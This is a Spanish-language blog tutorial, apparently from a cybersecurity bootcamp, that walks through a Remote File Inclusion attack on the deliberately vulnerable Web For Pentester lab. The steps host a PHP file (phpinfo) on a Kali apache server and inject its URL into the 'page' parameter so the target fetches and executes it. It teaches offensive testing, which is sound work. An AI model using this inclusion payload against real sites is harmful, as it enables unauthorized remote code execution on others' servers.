Tutorial de Remote File Inclusion (RFI)

Autor: | Última modificación: 11 de noviembre de 2022 | Tiempo de Lectura: 3 minutos
Temas en este post: ,

Algunos de nuestros reconocimientos:

Premios KeepCoding

El siguiente tutorial de Remote File Inclusion (RFI) está hecho con fines académicos. El propósito de esta técnica es encontrar fallos de seguridad en aplicaciones web que permiten ejecutar código PHP en el navegador de los usuarios. Sin embargo, se debe hacer siempre de manera autorizada o en un entorno web de práctica, como el que usaremos en el siguiente ejercicio: Web For Pentester.

Web For Pentester es una aplicación web diseñada por PentesterLab que presenta vulnerabilidades deliberadamente, con el fin de que se utilice para practicar ciberataques en ella. Para aprender cómo instalar Web For Pentester, visita el tutorial de nuestro blog.

A continuación, veremos un tutorial de Remote File Inclusion ejecutado en Web For Pentester. Pero antes, hablaremos brevemente sobre en qué consisten las vulnerabilidades de RFI.

¿Qué es Remote File Inclusion?

Remote File Inclusion es una vulnerabilidad web que le permite a los atacantes ejecutar ficheros con código PHP en el navegador de los usuarios por medio de un enlace. Ahora bien, esto sucede a causa de una falta de validación en el código fuente de los inputs del usuario. Es decir, se utilizan inputs que pueden ser modificados desde el lado del cliente para ejecutar ficheros en el navegador del usuario.

Para entenderlo mejor a través de un ejemplo, continuemos con el tutorial de Remote File Inclusion en Web For Pentester.

Tutorial de Remote File Inclusion

Preparación

  1. Instala una máquina virtual con la última versión de Kali Linux.
  2. Instala la máquina virtual de Web For Pentester, desarrollada por PentesterLab.
  3. Averigua las direcciones IP de ambas máquinas con el comando «ifconfig«.

Ejecución

Para comenzar el ejercicio, abriremos una terminal en Kali Linux e iniciaremos el servicio de apache 2.

service apache2 start

Ahora, pondremos el servidor a la escucha con el comando:

tail -f /var/log/apache2/access.log

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Después, en otra terminal, crearemos un archivo de texto llamado «test» en la ruta «/var/www/html» con el comando:

nano /var/www/html/test

Se abrirá un archivo de texto con el programa GNU nano y, allí, escribiremos nuestro código PHP para este tutorial de Remote File Inclusion.

<?php
phpinfo();
?>
Tutorial de Remote File Inclusion (RFI)

Guardaremos y cerraremos el archivo de texto y, ahora, abrimos el navegador Mozilla Firefox e ingresamos a la dirección IP de la máquina virtual de Web For Pentester. Al hacerlo, veremos lo siguiente en la pantalla:

Tutorial de Remote File Inclusion (RFI)

De todas las opciones, entraremos al enlace de «Example 1» de la sección «File Include«. Luego, entraremos en la siguiente página de este sitio web vulnerable:

Tutorial de Remote File Inclusion (RFI)

Al observar la dirección URL, veremos que el parámetro «page=intro.php» podría ser vulnerable al estar ejecutando un código PHP dentro del navegador. Para probar si la vulnerabilidad de código existe, ingresaremos la dirección de cualquier sitio web dentro del parámetro de la URL de la siguiente manera:

page=http://www.google.com
Tutorial de Remote File Inclusion (RFI)

Ya hemos comprobado que el código fuente de la aplicación está ejecutando código PHP por medio los inputs que hace el usuario en la URL. Es decir, se podría redirigir el navegador a una página web que ejecute un fichero con código PHP como el que hemos creado anteriormente.

Para ello, usaremos un payload diseñado para indicarle al navegador que se conecte a nuestro servidor y acceda al fichero «test» que creamos con el código PHP. En este ejemplo, dicho payload se vería del siguiente modo con la IP de la máquina virtual que utilizamos:

http://192.168.175.129/fileincl/example1.php?page=http://192.168.175.128/test 
Tutorial de Remote File Inclusion (RFI)

Al ejecutar este payload en el navegador, notaremos que se ejecuta correctamente el código PHP que incluimos en el fichero. Es decir, la aplicación interpreta el contenido sin validarlo antes desde su código fuente.

¿Cómo aprender más?

Ya hemos visto este tutorial de Remote File Inclusion en Web For Pentester. Si quieres profundizar y aprender muchas más técnicas de hacking web, ingresa a nuestro Ciberseguridad Full Stack Bootcamp y conviértete en un gran especialista en pocos meses. ¡No sigas esperando para cambiar tu vida! ¡Inscríbete ya!

¡CONVOCATORIA ABIERTA!

Ciberseguridad

Full Stack Bootcamp

Clases en Directo | Profesores en Activo | Temario 100% actualizado